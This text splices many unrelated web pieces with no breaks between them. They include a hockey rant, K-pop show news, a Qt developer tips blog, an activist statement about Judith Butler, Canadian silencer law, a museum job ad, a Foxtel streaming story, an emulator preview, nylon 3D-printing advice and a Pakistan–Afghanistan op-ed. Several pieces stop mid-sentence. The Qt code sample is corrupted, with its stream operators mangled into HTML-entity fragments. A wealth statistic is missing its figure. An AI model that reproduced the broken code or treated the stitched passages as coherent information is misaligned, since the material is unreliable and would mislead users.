Did you know that Ryan Smyth is a natural winger? And that he knows how to make himself an outlet option in the defensive zone? And how to get the puck out? And how to play in front of the net when you're looking for dirty goals? And that he can PK pretty good (or at least he could when he was an Oiler, not a lot of evidence of it these last few years)? And that he cursed the Oilers when they sent him away? But we needed seven(teen if you prefer hyperbole) centers. And now we're cursed. Now the losing makes sense. Right Derek?On August 25th, Sunny, Hyoyeon, and Yoona appeared in a short segment on “We Got Married”, a variety show which pairs two celebrities together for a make-believe marriage. “We Got Married” is currently recruiting participants to appear on its fourth season and placed a banner at the Seoul Olympic Stadium during “SMTOWN Live World Tour III” in Seoul which listed the requirements needed to appear on the show.
In order to qualify, the producers of the show required that the participant be a current idol who is at least nineteen years old. In addition, the idol:
1. Cannot currently be in a relationship.
2. Must be able to show their face without makeup and their height without insoles.
3. Can stay faithful while married.
4. Must be willing to honestly show everything about themselves, without hiding anything.
During the brief but funny clip, Sunny, Hyoyeon, and Yoona discovered that all three did not meet the requirements to appear on “We Got Married”. Hyoyeon was disqualified due to the requirement concerning makeup, Sunny was disqualified due to the requirement concerning insoles, and Yoona jokingly said that she would not be able to remain faithful during her marriage.
Later in the show, Super Junior’s Sungmin also appeared to read the banner and the list of qualifications. SHINee’s Taemin asked him who he would choose to film “We Got Married” with, and Sungmin selected Sunny.
Check out Sunny, Hyoyeon, and Yoona’s appearance on “We Got Married”‘s casting segment below.
Sources: bhostssf@Dailymotion Written by: bhost909@soshifiedContributor: minigiglo@soshified
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Follow us on Twitter: http://twitter.com/soshified for the latest on Girls’ Generation.In this blog post, I'll present a few tips and tricks for using Qt of which you may not be aware. These are small topics that I didn't feel justified an entire blog post of their own and were collected by polling the ICS Qt consulting team.
Qt Extras
There are platform-specific features available in the Qt "Extras" modules: Android Extras (1), Mac Extras (2), Win Extras (3) and X11 Extras (4).
While it is always best to avoid platform-specific features whenever possible, these modules allow you to use some features of a specific platform from within Qt, avoiding the need to call the platform APIs directly.
I covered the X11 Extras in a previous blog post (5) when it first came out in the Qt 5.1 release.
QDebug Output Formatting
The QDebug (6) class is handy for producing debug information, typically using the qDebug() method. By default, the function automatically puts spaces between items and outputs a newline at the end, which is usually the desired behavior. It also puts quotation marks around character-type objects like QChar and QString. Since Qt 5.4.0, if you want to suppress the behavior of adding spaces and quotes you can call the methods QDebug::nospace() and QDebug::noquote(). Here is a short but complete, program example illustrating this:
#include <QDebug>
#include <QString>
int main ( )
{
QString foo = "Hello" ;
int x = 1234 ;
qDebug ( ) & lt ; & lt ; "foo=" & lt ; & lt ; foo & lt ; & lt ; "x=" & lt ; & lt ; x ;
qDebug ( ). nospace ( ). noquote ( ) & lt ; & lt ; "foo=" & lt ; & lt ; foo & lt ; & lt ; " x=" & lt ; & lt ; x ;
}
The program produces the output:
foo= "Hello" x= 1234
foo=Hello x=1234
The qDebug() function can display Qt class instances and, as of Qt version 5.5, enumerated types.
QPA Back Ends
Qt supports using various QPA (Qt Platform Abstraction) back ends for rendering. You can specify the back end to use with the -platform command line option when invoking a Qt-based application. You can also specify which back end to use by setting the environment variable QT_QPA_PLATFORM. This can be handy if you always want to use a specific back end and it is not the default compiled into your version of Qt.
One way to see the valid list of platforms in your version of Qt is to specify an invalid -platform option and look at the error output. Here is an example running on a Linux desktop system:
% /usr/local/Qt-5.6.0/examples/widgets/widgets/calculator/calculator -platform foo
This application failed to start because it could not find or load the Qt platform plugin "foo".
Available platform plugins are: directfbegl, directfb, eglfs, linuxfb, minimal, minimalegl, offscreen, wayland-egl, wayland, xcb.
C++11 Support
Recent releases of most C++ compilers support many, if not all features of the C++11 language standard. With some older compilers you need a command line option to enable C++11 support. If you are using qmake as your build system, you can handle this in a portable way by putting this line in your qmake project file:
CONFIG += c++11
There is also a "CONFIG += c++14" option that enables support for the C++14 standard, but you will need a very recent compiler version, such as gcc 5, in order for it to be supported.
Making Run-Time Warnings Fatal
If you want to make sure that any warnings produced by Qt are not ignored at run-time, you can define the environment variable QT_FATAL_WARNINGS.
When this is set, your application will abort when a warning is encountered. This can be either an internal warning produced by Qt (such as an error in signal/slot connections) or a warning in your own application's code triggered by calling qWarning().
While you are unlikely to want to do this in production code shipped to end users, it can be useful during development and testing to catch errors and make them more obvious.
Turning Compile Warnings into Errors
If you want to force compile warnings to be treated as errors, most compilers have an option for this. With the gcc compiler, a suitable option can be enabled by putting this line in your qmake project file:
QMAKE_CXXFLAGS += -Werror
With Microsoft Visual Studio the appropriate compiler option is "/WX". The line below in your qmake project file will set the correct option based on the compiler being used:
*g++*: QMAKE_CXXFLAGS += -Werror
*msvc*: QMAKE_CXXFLAGS += /WX
You may want to do this for builds performed by your continuous integration (CI) system, to catch compile warnings by flagging them as errors and forcing developers to correct them.
Debugging Plugins
When developing or using Qt plugins, you may have problems determining where a plugin is being loaded from or why it is not being loaded. A useful debug technique is to set the QT_DEBUG_PLUGINS environment variable. If this is set to a non-zero value in the environment in which your application is launched, Qt will display diagnostic information about the plugins it attempts to load.
The output is quite long (typically several hundred lines) so I won't show an example here, but I encourage you try it yourself.
Spying on Signals
The QSignalSpy (7) class allows you to connect to any signal from any Qt object and record when it is emitted.
It is most useful when writing tests, such as unit tests for widgets. You may also find it useful when debugging or doing performance testing.
There is a similar QML element, called SignalSpy (8), that works with Qt Quick.
Q_GADGET
The Q_GADGET (9) macro is a lighter weight alternative to Q_OBJECT for classes that don't inherit from QObject, but still want to use some of the reflection capabilities offered by QMetaObject.
Like the Q_OBJECT macro, it must appear in the private section of the class definition. Q_GADGETs can have Q_ENUM, Q_PROPERTY and Q_INVOKABLE qualifiers, but not signals or slots.
The Qt documentation give more details.
Summary
Justin Noel of ICS gave a presentation on "Qt - Tips and Tricks" at the Qt Developer Days conference in 2010 that you may find useful. A video (10) of that talk is available on YouTube. More recently, he gave an introductory talk in a webcast entitled "Got Qt? 10 Things to Know Before You Code", which can be viewed at the ICS website (11).
I hope to continue this series of blog posts with more tips and tricks in the future. If you enjoyed this article, you can continue on with the second blog in this series: Qt Tips and Tricks - Part II
Thanks go to the ICS development team for providing many of the tips and tricks presented here.
ReferencesJudith Butler, ‘I Must Distance Myself from
This Racist Complicity,’ 19 June 2010
As Berlin Queer and Trans Activists of Colour and Allies we welcome Judith Butler’s decision to turn down the Zivilcourage Prize awarded by Berlin Pride. We are delighted that a renowned theorist has used her celebrity status to honour queer of colour critiques against racism, war, borders, police violence and apartheid. We especially value her bravery in openly critiquing and scandalising the organisers’ closeness to homonationalist organisations. Her courageous speech is a testimony to her openness for new ideas and her readiness to engage with our long activist and academic work, which all too often happens under conditions of isolation, precariousness, appropriation and instrumentalisation.
Sadly this is happening once again, for the people of colour organisations who according to Butler should have deserved the award more than her are not mentioned once in the press reports to date. Butler offered the prize to GLADT (www.gladt.de), LesMigraS (www.lesmigras.de), SUSPECT and ReachOut (www.reachoutberlin.de), yet the one political space mentioned in the reports is the Transgenial Christopher Street Day, a white-dominated alternative Pride event. Instead of racism, the press focuses on a simple critique of commercialisation. This even though Butler herself was quite clear: ‘I must distance myself from complicity with racism, including anti-Muslim racism.’ She notes that not just homosexuals, but also ‘bi, trans and queer people can be used by those who want to wage war.’
The CSD, via Renate Künast of the Green Party (who appeared to have difficulties pronouncing the award winner’s name and grasping basic aspects of her writings) introduced Butler as a determined critic. Five minutes later, the same critical determination caused the faces of presenters to drop. Rather than engage with the speech in any way, Jan Salloch and Ole Lehmann could think of nothing better than blanketly refuse any charge of racism and attack the ca. 50 queers of colour and allies who had come out in Butler’s support: ‘You can scream all you like. You are not the majority. That’s enough.’ The finale was an imperialist fantasy matched by the backdrop of the Brandenburger Tor: ‘Pride will just continue in its programme.... No matter what.... Worldwide and here in Berlin.... This is how it’s always been and will always be.’
In the past years, racism has indeed been the red thread of international Pride events, from Toronto to Berlin, as well as of the wider gay landscape (see queer of colour theorists Jasbir Puar and Amit Rai‘s early critique of this in their 2002 article ‘Monster, Terrorist, Fag’). In 2008, the Berlin Pride motto was ‘Hass du was dagegen?’, which might translate as ‘You go’ a problem or wha’?’. Homophobia and Transphobia are redefined as the problems of youth of colour who apparently don’t speak proper German, whose Germanness is always questioned, and who simply don’t belong. 2008 is also the year that the hate crimes discourse enters more significantly into German sexual politics. Its rapid assimilation was aided by the fact that the hatefully criminal homophobe was already known: migrants, who are already criminalised, and are incarcerated and even deported with ever growing ease. This moral panic is made respectable by dubious media practices and so-called scientific studies where every case of violence that can be connected to a gay, bi or trans person (no matter if the apparent perpetrator is white or of colour, and no matter if the basis is homophobia, transphobia or a traffic altercation) is circulated as the latest proof of what we all know already — that queers, especially white men it seems, are worst off of all, and that ‘the homophobic migrants’ are the main cause for this. This increasingly accepted truth is by no small measure the fruit of the work of homonationalist organizations like the Lesbian and Gay Federation Germany and the gay helpline Maneo, whose close collaboration with Pride ultimately caused Butler to reject the award. This work largely consists in media campaigns that repeatedly represent migrants as ‘archaic’, ‘patriarchal’, ‘homophobic’, violent, and unassimilable. Nevertheless, one of these organizations now ironically receives public funding in order to ‘protect’ people of colour from racism. The ‘Rainbow Protection Circle against Racism and Homophobia’ in the gaybourhood Schöneberg was spontaneously greeted by the district mayor with an increase in police patrols. As anti-racists, we sadly know what more police (LGBT or not) mean in an area where many people of colour also live — especially at times of ‘war on terror’ and ‘security, order and cleanliness.’
It is this tendency of white gay politics, to replace a politics of solidarity, coalitions and radical transformation with one of criminalization, militarization and border enforcement, which Butler scandalizes, also in response to the critiques and writings of queers of colour. Unlike most white queers, she has stuck out her own neck for this. For us, this was a very courageous decision indeed.
Yeliz Çelik, Sanchita Basu, Lucy Chebout, Lisa Thaler, Jin Haritaworn, Jen Petzen, Aykan Safoğlu and Cengiz Barskanmaz of SUSPECT
20 June 2010
SUSPECT is a new group of queer and trans migrants, Black people, people of colour, and allies. Our aim is to monitor the effects of hate crimes debates and to build communities which are free from violence in all its interpersonal and institutional forms. Click here to read the German version of the statement “Judith Butler lehnt Berlin CSD Zivilcouragepreis ab!” See, also, Jin Haritaworn and Jennifer Petzen, “Invented Traditions, New Intimate Publics: Tracing the German ‘Muslim Homophobia’ Discourse” (forthcoming in Chris Flood and Stephen Hutchings, eds., Islam in its International Context: Comparative Perspectives, Cambridge: Cambridge Scholars Press, 2010); and Georg Klauda, “With Islamophobia against Homophobia?” (MRZine, 12 November 2007).
| PrintArt (c) Johanna Girard (Luoren)
Neith - SMITE (c) HiRez Studios.
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So here it is!!!!!Guys I'm so happy, I just finished her, yes you might have recognized her: Neith, with the SMITE cinematic trailer style.So she is my first video-games oil painting and, damn I LOVE PAINTING VIDEO GAMES CHARACTERS!Thanks to HiRez Devotion, our French community Manager, who requested me this work for his Twitter banner!You can find him here:Devotioon on Twitter: twitter.com/HiRezDevotion I hope you'll enjoy her!La voilà donc!Je suis tellement heureuse de l'avoir terminée! Vous l'avez certainement reconnue: Neith, la déesse égyptienne tirée du jeu vidéo Smite! Avec le style de la cinématiqueDonc elle est ma première peinture à l'huile en rapport au jeux-vidéo, et purée ce que j'aime peindre à l'huile des sujets de jeux-vidéo!!!!!Un grand merci à HiRez Devotion, notre community manager français, pour m'avoir lancé une requête poour ce travail, qui est en fait sa nouvelle bannière TwitterVous pouvez le trouver ici:Devotioon on Twitter: twitter.com/HiRezDevotion J'espère qu'elle vous plaira!Silencers have been illegal in Canada since 1900, and it doesn't look like that's going to change any time soon. A 2017 petition to the Canadian government, requesting permission for the ownership and use of sound moderators by licensed Canadian gun owners for lawful hunting and shooting activities was not granted. The government rejected the petition on the grounds of public safety, stating that any device that muffles the noise of a firearm can make it harder for the public and for law enforcement officers to respond appropriately to gun violence.
Tip Sound moderators, commonly known as suppressors or silencers, for firearms are prohibited in Canada, although you can own and transport them in some cases, for example, if you have grandfathered privileges or own a transportation business and have the correct carrier license.
Purpose of Silencers
Despite its name, a silencer does not completely silence the noise of a firearm, but only muffles the sound. Supporters of silencers claim that this is beneficial to shooters as they don't have to wear bulky, heavy ear protection. However, the Canadian Minister of Justice encourages firearms owners to use other forms of widely available hearing protection that do not affect public safety.
Definition of Prohibited Devices
Under Canadian law, a prohibited device is any device designed or intended to muffle or stop the sound or report of a firearm. This means a silencer cannot be used in Canada for any purpose. However, in some cases you can own and transport a silencer if you meet certain requirements.
Grandfathered Privileges
Under the Firearms Act, certain persons who had a prohibited firearm registered in their name before it was made unlawful, and have continuously held a valid registration certificate for that type of firearm from December 1, 1998 onward are considered "grandfathered" under the law. Obviously most people who were alive when silencers were first prohibited in the early 1900s are not alive today, but the law allows for a spouse, common-law partner, brother, sister, child or grandchild of the original owner to possess the prohibited device.
Transporting a Silencer
If you have a transportation business and need to transport silencers, firearms, prohibited weapons, prohibited ammunition and other prohibited devices anywhere within Canada or across Canadian borders in the course of business, you must apply for a carrier license. The completed application, plus the required fee, must be sent to the Canadian Firearms Registry in Ottawa. The license is valid for three years.Part-time
Applications MUST be submitted through this online link:
https://docs.google.com/forms/d/e/1FAIpQLSd3e9s75lduvc-QIKjrCWWt7HdvCC700SvVgxHUtujhH7k6-Q/viewform?ts=59aec15c&fbzx=-181959840428020000
CAREER OPPORTUNITIES
Do you like interacting with people and sharing in new and exciting experiences? Do you enjoy inspiring scientific and technological curiosity in others? Yes? We are seeking candidates just like you to join our dynamic and inclusive team. Apply to be a Guide and be a part of the excitement as the Canada Science and Technology Museum reopens its doors to the public this fall!
Reference Number: 2017/2018-CSTMC-060; 2017/2018-CSTMC-061
Salary Range: $20.55 - $25.00 Level: 2
Employment Status: Full-time indeterminate / Part-time indeterminate / Casual
Language Requirements: Bilingual (BBC/BBC)
Security Requirement: Enhanced reliability
Branch: Canada Science and Technology Museum
Summary of duties
You are the welcoming face of the Canada Science and Technology Museum. Reporting to the Supervisors, you will work closely with other members of the Visitor Experience team to deliver high-quality programming. In both official languages, you will interpret and present the scientific and technological innovations displayed in the newly renovated Museum. Through on-stage science demonstrations, facilitating activities in Exploratek (Maker Studio), and leading exciting programs, you will create positive experiences for the Museum’s diverse clientele. You will help maintain a clean and safe working environment for the staff and visitors, and assist in daily operations.
Education and Experience
As an ideal candidate, you have completed a minimum of one (1) year of University or College education in the fields of Science, Engineering, History, Museum Studies, Technological Studies, Education, or related disciplines. You have experience working in a museum or cultural setting, providing excellent customer service, and/or have worked with adults, children, and families. Special consideration will be given to candidates with public speaking or theatrical experience.
Rated Requirements
You are a life-long learner who is always keen to discover new things. You have a passionate interest in the STEAM fields (science, technology, engineering, mathematics, together with the arts). You are a confident communicator who is able to initiate, stimulate and maintain visitor interaction, and you are sensitive to visitors’ needs. You are comfortable performing demonstrations in front of an audience and answering questions related to the themes presented. You are a creative problem-solver who works well under pressure, and you are able to enforce security measures to maintain visitors’ safety. You are an effective team player, who is equally independent, and can work without continuous supervision. You are highly adaptable, you take initiative, and you have excellent judgement. You are familiar with the Museum’s mandate and are able to act as an ambassador of the Corporation in local, national and international scenes.
The CSTMC is committed to the principles of employment equity.
Applications MUST be submitted through the online form. Online applications received for this position will not be accepted after the indicated closing time (midnight) and date.
Please note that only candidates who are selected for the next stage of this selection process will be contacted. As a result of this competition, we may establish an eligibility list that may serve to staff similar positions.
If you are interested in this opportunity, please fill out the CSTM Guide Application Form no later than the closing date. Group interviews for selected candidates will be held at the end of September.
APPLICATION FORM LINK:
https://docs.google.com/forms/d/e/1FAIpQLSd3e9s75lduvc-QIKjrCWWt7HdvCC700SvVgxHUtujhH7k6-Q/viewform?ts=59aec15c&fbzx=-181959840428020000
Posting Date: September 6, 2017 Closing Date: September 20, 2017
Job Type: Part-time
Salary: $20.55 to $25.00 /hourGreen v Mundine: How two blokes outsmarted Foxtel and why it should get on board
Updated
Brett Hevers and Darren Sharpe are either copyright thieves who deserve to face up to five years' jail or "deadset f***ing legends".
It depends who you ask.
Between them on Friday night they racked up close to 300,000 viewers within a matter of minutes, streaming the blockbuster pay-per-view Mundine v Green boxing match on Facebook Live.
It was as simple as pointing their phones at the TV and pressing the live stream button on their Facebook accounts.
The intense publicity surrounding the fight, combined with the fact it was somewhat inaccessible (requiring a Foxtel subscription) and rather expensive ($59.95 per household, over and above subscription fees), ensured their Facebook feeds quickly went ballistic.
I must admit, I was one of those participating in what Foxtel management sees as theft.
I checked into Facebook and there it was at the top of my feed urging me to watch a live feed from a bloke named Brett Hevers. So I clicked.
To be honest, I was only mildly interested in the fight.
What was truly gripping was the hilarious stream of comments and emojis rolling across the screen and the spectacle of something going truly viral, in real time.
At first, 100 people per second were joining the crime scene. Then 1,000 every few seconds.
As the viewership ticked over 100 |
adolescent pregnancy for the nation as a whole. The cause of these declines are from abstaining from sex or better use of contraceptives.[32] Birth rates among younger teens ages 15–17 have also fallen faster – dropping by 50%, compared with a 39% decline among older teens ages 18 and 19.[33] Researchers have concluded that these declines stem from improvement in use of contraceptives.[32]
See also [ edit ]
References [ edit ]
Further reading [ edit ]Moments after Super Mario Run launched on iOS devices last week, Nintendo fans began wondering if and when the company might bring the classic 2D Mario games to mobile devices. It seemed like a no-brainer, but in an interview with Wired, Mario creator Shigeru Miyamoto shot down any speculation.
At the moment, Nintendo has no plans to port any NES or SNES games to iOS or Android, which is why the upcoming Delta emulator might be the most anticipated iPhone app in recent memory.
Several years ago, mobile developer Riley Testut released an emulator for the iPhone called GBA4iOS. Not only was it one of the most robust and capable Game Boy emulators on a mobile device, it was also possible to download it without a jailbreak. In 2014, Apple closed the “date trick” loophole that allowed iOS users to download and use the app without going through the App Store, effectively killing GBA4iOS, but now, two years later, Testut is back with a much more ambitious sequel called Delta.
Unlike GBA4iOS, Delta will be able to emulate a wide range of consoles, including the Game Boy, Game Boy Advance, Super Nintendo and Nintendo 64. In a blog post, Testut said he would add even more in the future, but these popular Nintendo consoles will be the first batch he focuses on.
While the Delta emulator won’t be made available to the public until early 2017, we managed to gain access to the first beta release this week and have some quick hands-on impressions to share with you.
Despite being weeks or possibly even months away from release, Delta already feels like a completed product. At the moment, it only plays SNES and GBA games, but the quality of the emulation is the best I’ve ever seen on the iPhone. There are a few known bugs with SNES games, but I haven’t run into any yet.
Adding ROMs to the app is relatively simple, though the options are more limited than they were for GBA4iOS. The only two options present in the current beta are through iTunes and iCloud Drive. It’s also not possible to simply drag and drop ROMs into the app — you actually have to import the games. That said, it’s obviously an exceptionally small price to pay to have stellar emulation on your non-jailbroken iPhone.
The customization settings are limited at the moment, giving users the ability to adjust the opacity of the virtual controller on the screen and choose a new input method (MFi controllers are supported by the app).
The UI is clean and attractive, the controller skins look nice (despite not being finalized) and the app is as fast as any emulator I’ve ever played with. As Testut continues to add features to the app, we’ll continue to provide updates, so be on the lookout for more Delta reports in the near future.A depressing new report from Credit Suisse shows that the world’s richest one per cent are gaining more power as they now hold over half of the planet’s wealth.
The bottom 50 per cent of the world own less than one per cent, leaving an income gap bigger than its ever been in history.
Independent.co.uk reports:
The Global Wealth Report found that to be counted among the world’s wealthiest ten per cent, an individual would need to possess $68,800 (£44,500), while those in the top one per cent would need (£492,000).
The report, which examined wealth in more than 200 countries, also revealed that for the first time, the middle class in China – with 109 million adults – became the world’s largest, overtaking the US which has 92 million adults in the same category.Nylon refers to a class of thermoplastic polymers with variations in mechanical, thermal, and chemical properties. Nylons are among the most popular materials used by engineers and manufacturers due to their variability and tendency for high strength and wear resistance.
Using Nylon as a 3D printing material allows you to create robust prototypes and take advantage of the wide range of properties across different formulations. In this post, you’ll discover today’s options for printing with Nylon and learn top tips for successful outcomes.
Types of Nylon
A number of different nylons exist for both FDM and SLS 3D Printing. Below are the current most popular formulations which vary in mechanical properties and print settings.
FDM Filaments
Alloy 910
This material is designed to meet as many high-performance 3D applications as possible. A unique blend of nylons and co-polyesters, Alloy 910 has the highest tensile strength of most all 3D printing materials and is compatible with mid to high end machines.
Nylon Bridge
This material ‘bridges’ the gap between a number of different mechanical properties. Nylon Bridge has moderately high tensile strength and a low frictional coefficient with easier print settings compared to other similar materials.
Nylon 230
This material is used with lower-end machines that can’t achieve the temperature requirements needed for other nylons. Nylon 230 is extruded at 230C making it compatible with printers that don’t utilize metal hot ends.
SLS Powders
PA11
PA11 (polyamide 11) has greater flexibility than its commonly used neighbor PA12, with similar tensile strength and thermal properties. A great material for applications where a degree of flexibility is necessary.
PA12
PA12 is a robust material applicable to a wide range of engineering applications. With moderate stiffness and high tensile strength, PA12 is a popular material for both prototyping and directly printing end-user products.
Storing Nylon Filament
Nylon filaments are hygroscopic meaning they readily absorb moisture. Moisture in filament adversely affects printing results so it’s important to keep your material dry. To store your filament, use an air-tight container with desiccant.
You might be familiar with the small (inedible) silica gel packets that your filament ships with and these are included to reduce moisture in the packaging. For small quantities of filament, a few of these packets mixed into your container will help to keep nylon filament dry. For larger quantities, rechargeable desiccant beads can be a more economical option. These include indicator beads that change color when the desiccant is saturated and are often be heated to make the desiccant useful again.
Drying Wet Filament
If your filament has been exposed to a humid environment for as little as a few hours, there’s a good chance it’s absorbed a significant amount of moisture. There are a few ways you can go about drying filament if you expect it’s wet.
The Oven Method
The easiest way to go about drying your filament is to bake it in the oven. To dry nylon bridge, we set the oven to 200F for 2 hours. The temperature you heat your filament to will depend on your specific material. A good rule of thumb is to refer to the glass transition temperature of your specific material and then bake the material 20F below its glass transition.
For those that would prefer to be conservative, going further below the glass transition temperature of the material and extending the baking time will produce similar results. It’s important to unspool your filament and wrap it into coils prior to baking. Spools are often made with low-temperature thermoplastics like LDPE which will deform in the oven.
Taulman3D’s Technique
Taulman3D is the leading supplier of Nylon FDM filaments and has designed a device to dry Nylon filament for you. Material is encased in a small bucket and heated by an incandescent bulb which removes excess moisture. Refer to Taulman3D’s graphic below or visit their website directly.
Print Troubleshooting
When printed correctly, Nylon has exceptional mechanical properties, but there are a few things to keep in mind when prints aren’t producing the results you’d expect.
Wet Material
The most common cause of printing issues with Nylon is moisture laden filament. Moisture laden filament will hiss and steam while being extruded from the nozzle. It will also exhibit excessive stringing and poor bonding between layers. Below is an image of the same material printed with the same settings. One batch was dried for an hour in the oven at 200F and the other was left in a humid environment.
Low Extrusion Temperatures
Adequate extrusion temperatures are important to ensure strong layer bonding with FDM printing and this is especially true when using Nylon. When printed at low extrusion temperatures, Nylon will pull apart and separate between layers. If your prints are exhibiting these properties, it’s a good indication that you need to increase your extrusion temperatures.
Iterate upwards by 5C until the layers begin to adhere properly. Decreasing print speeds can also improve layer adhesion by giving the extruded filament more time to fuse to the material below.
SLS Printed Nylon
SLS (Selective Laser Sintering) has historically been a costly technology accessible only to large corporations, and it works by sintering together powderized material. Formlabs recently announced the Fuse 1 which lowers the cost and knowledge barrier required to use SLS printing.
Image Source: Formlabs
The Fuse 1 offers results comparable to those produced by more costly industrial grade machines at a fraction of the price. Units will begin shipping in late 2017 with both PA11 and PA12 offered as compatible materials.“The exploitation of ungoverned sanctuaries outside of Afghanistan by terrorists and Afghan insurgents is the single greatest external factor that could cause failure of the coalition campaign.” June 2017 U.S. DoD Report on Afghanistan
The latest U.S. Department of Defense Report on “Enhancing Security and Stability in Afghanistan” reiterates that Pakistan’s sanctuary, support, and employment of insurgents and terrorists is a strategic impediment to ending that war well, or to ending it at all. The Pentagon is now preparing to send about four thousands more troops. A number of Coalition partners will probably send a commensurate number of additional troops. More troops and more actions will build advisory capacity and thus improve the Afghan security forces capacity. More capacity will, in turn, gain some tactical and operational momentum vis-à-vis the Taliban, the Haqqani network, and other Islamist militants that benefit from Pakistan’s support and sanctuary.
But more action and more troops in and of themselves will not gain strategic momentum. Strategic momentum requires a marked change in Pakistan’s strategic behavior. That requires a strategy which includes more regional cooperation and a much more coercive strategic approach to curb Pakistan’s machinations. This requires a sea change in strategic thinking to shock, compel, and instill fear in Pakistan’s security establishment to break it out of its ingrained strategic-cultural pathologies. Pakistan’s duplicitous incubation and export of proxy terrorists and insurgents is the most significant obstacle to peace in Afghanistan and South Asia.
Pakistan has nurtured and relied on a host of Islamist insurgents and terrorists for decades. The Inter-Services Intelligence Directorate (ISI) has maintained links between Al Qaeda, its longtime Taliban allies, and a host of other extremists inside Pakistan. It is only possible for Pakistan to become a non-pariah state among the community of states and a helpful partner to the Coalition and the U.S. if it significantly modifies its regional conduct and ceases its support of proxy terrorists and insurgents. America has doled out more than $33 billion in carrots to Pakistan in exchange for Pakistan’s treachery since 9/11. This miscarriage of trust and reliability is abhorrent.
Yet, these sad truths about Pakistan’s malice have been in plain view in U.S. Government and NATO reports for years. This most recent report from June 2017 highlights this same strategic impasse and forecasts the grave consequences of failing to address Pakistan’s odious collusion with the Taliban, the Haqqani network, and groups like Lashkar-e-Taiba. A finding that appears in this report, and the many reports that preceded it, is that “Afghanistan continues to face an externally enabled and resilient insurgency.” This particular wording lacks specificity, most likely to avoid offending Pakistani sensitivities, but it does illumine the crux of the stalemate. Other sections of this latest 2017 report offer a bit more clarity about the sources of support for the “externally enabled” insurgents.
For example, the section in the report on relations with Pakistan states, “Afghan oriented militant groups, including the Taliban and Haqqani Network, retain freedom of action inside Pakistani territory and benefit from support from elements of the Pakistani Government.” It explains that Pakistan is the most influential external actor affecting Afghan stability. This relates directly to the theater commander’s assessment of the main threat to success and stability in Afghanistan. The most significant external factor that poses strategic risk and precludes a successful end to the war is “the exploitation of ungoverned sanctuaries outside of Afghanistan by terrorists and Afghan insurgents.”
When the commander’s assessment of the threat refers to the external sanctuary that impedes efforts to bring the Taliban leadership to the negotiating table, it is referring to Pakistan’s support of its proxy, the Taliban. When the report states that external sanctuary affords terrorist groups like the Haqqani Network the time and space to plan coordinated operations against U.S. forces, Coalition forces, the Afghan forces, and civilians, this is referring to Pakistan as the only sponsor and employer of that group. And, when the theater commander assesses that “external sanctuary allows the Afghan Taliban to rest, refit, and regenerate, thereby perpetuating the cycle of violence,” Pakistan is that external sanctuary.
Readers need not explore the entire report to discern the raison d'être for the stalemate. The executive summary alone aptly identifies the sources of instability and violence: “Afghanistan faces a continuing threat from as many as 20 insurgent and terrorist networks present or operating in the Afghanistan-Pakistan region, including the Taliban, the Haqqani Network, ISIS-K, and al Qaeda, in what is the highest concentration of extremist and terrorist groups in the world.” Right up front, the report’s executive summary clearly states, “attacks in Afghanistan attributed to Pakistan-based militant networks continue to erode the Afghanistan-Pakistan relationship.” For anyone interested in reading it, the document reports that Islamist militant groups, including the Taliban and Haqqani Network, continue to benefit from sanctuaries inside Pakistan.
In his March testimony before the Senate Armed Services Committee (SASC), General Joseph Votel (U.S. Central Command), stated that the malign influence of external actors providing sanctuary and support to violent extremist groups operating along the Afghanistan-Pakistan border region was a particular problem that threatened any gains. General John Nicholson’s (U.S. Forces Afghanistan) testimony in February of this year, provided a candid perspective when said that he believed that the war in Afghanistan was a stalemate. Indeed, it has essentially been a strategic stalemate since at least 2003 because Pakistan continued its double game when it had pledged to end its support of terrorists. According to Nicholson’s statement, “the primary factor that will enable our success is the elimination of external sanctuary and support to the insurgents.” This external sanctuary and support, to be sure, originates in Pakistan.
After almost 16 years, the war in Afghanistan remains a strategic stalemate because defeating an enemy requires taking away capacity and will. And although the Coalition and the Afghan forces have hit the enemy’s capacity year after year, the Taliban’s will - their senior leaders, support, resources, rest, regeneration, and arms - continue to reside in Pakistan’s sanctuary and to benefit from Pakistan’s sponsorship. The Afghan security forces have grown in quantity and improved in quality. Coalition and Afghan forces have undertaken many actions and operations that have disrupted and displaced the Taliban and the Haqqani infrastructure.
But these gains at the tactical and operational level have lacked permanence in the face of the most significant impediment to strategic success - Pakistan’s sanctuary and support for the enemy. Killing, capturing, disrupting, and displacing insurgent and terrorist enemies, absent strategic momentum against the external sanctuary, have made this a groundhog war where fulfilling the purpose remains elusive. Without a policy-strategy match that compels Pakistan to stop the sanctuary and support, this war will continue in perpetuity, with or without more troops.
Before the SASC early this year, General Nicholson’s testified that “multiple witnesses have appeared before this body and testified that insurgents cannot be defeated while they enjoy external sanctuary and support from outside of the national boundaries of the conflict area.” Pakistan’s failure to alter its strategic calculus, its sponsorship, its provision of physical and ideological support, and its regeneration of murderous Islamist armed groups, poses a grave risk to a successful outcome for the war in Afghanistan. This war will not end, or it will end badly unless the West and its regional partners bring the full weight of their national power to compel and break Pakistan of its pathological strategic behavior. Pakistan’s actions have long been harmful to itself, to its purported friends, and to stability in South Asia.
Conclusion
To break the stalemate by 2020, the General Nicholson’s operational idea is to invest in those forces that have demonstrated the best capacity to outmatch the Taliban in most actions - the Afghan Special Security Forces and the Afghan Air Force. In his testimony, he explained his operational idea to grow these relatively capable forces toward building an overmatch in offensive capacity vis-à-vis the Taliban to ultimately create favorable tactical and operational momentum. Creating offensive overmatch in the best and tested Afghan security forces will, in fact, create a tactical and operational capacity to hit the Taliban, disrupting and displacing their leaders and infrastructure. Offensive tactical overmatch will indeed disrupt the enemy, but without strategic change in reducing the sanctuary in Pakistan, these gains will be fleeting.
The U.S. and the Coalition must desist in the illusion that Pakistan, one of the foremost ideological and physical breeders of Islamist terrorists, can be an ally or a friend. It is neither. Pretending that Pakistan was an ally in the war against Islamist militants, one that would act in ways to help defeat Islamist networks in the tribal areas, made the West partly complicit in Pakistan’s perfidy. In September 2001, imagining that the only country on the planet with its capital named after Islam, and the foremost state sponsor of Islamist terrorists, would be a reliable partner in a war to defeat the very Islamists groups that Pakistan created, was a huge failure of imagination.
Since this war began, the U.S. has stipulated that Pakistan must curb all domestic expression of support for terrorism against the U.S. and its allies; demonstrate a sustained commitment towards combating terrorist groups; cease support, including by any elements within the Pakistan military or its intelligence agency, to extremist and terrorist groups; and dismantle terrorist bases of operations in other parts of the country. Clearly, Pakistan has not complied with these demands and continues to serve as a significant supporter and employer of Islamist insurgents and terrorists.
